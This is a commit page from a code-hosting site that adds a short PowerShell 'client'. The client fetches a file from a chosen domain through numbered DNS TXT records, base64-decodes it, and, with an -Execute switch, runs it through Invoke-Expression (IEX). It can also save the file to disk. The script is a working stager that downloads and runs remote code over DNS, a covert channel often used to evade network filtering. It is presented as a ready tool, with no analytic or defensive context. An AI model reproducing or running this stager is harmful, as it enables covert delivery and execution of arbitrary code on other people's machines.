Add small powershell client
Ursprung
1db4ffc6a2
Commit
3d65e69770
@ -0,0 +1,32 @@
|
||||
Function Retrieve-DNSTXT {
|
||||
[CmdletBinding()] param(
|
||||
[string] $Domain
|
||||
)
|
||||
return (Resolve-DnsName -Type TXT $Domain | select Strings | Format-Table -HideTableHeaders | Out-String -Width 1000).Replace("{", "").Replace("}", "").Trim()
|
||||
}
|
||||
|
||||
Function Retrieve-DNSFile {
|
||||
[CmdletBinding()] param(
|
||||
[string] $Filename,
|
||||
[string] $DNSName,
|
||||
[switch] $Execute,
|
||||
[switch] $Write,
|
||||
[string] $OutPath
|
||||
)
|
||||
$count = [int](Retrieve-DNSTXT -Domain "$Filename.count.$DNSName")
|
||||
$file_base64 = ""
|
||||
For ($i=0; $i -le $count; $i++) {
|
||||
$file_base64 += (Retrieve-DNSTXT -Domain "$Filename.$i.$DNSName")
|
||||
}
|
||||
"Base64 $file_base64"
|
||||
$file_string = [Text.Encoding]::Utf8.GetString([Convert]::FromBase64String($file_base64))
|
||||
"String $file_string"
|
||||
If ($Execute.IsPresent) {
|
||||
$file_string | IEX
|
||||
} Else {
|
||||
$file_string | Out-String
|
||||
}
|
||||
If ($Write.IsPresent) {
|
||||
$file_string | Out-File -FilePath ($OutPath, $Filename)[!$OutPath]
|
||||
}
|
||||
}
|
Laden…
In neuem Issue referenzieren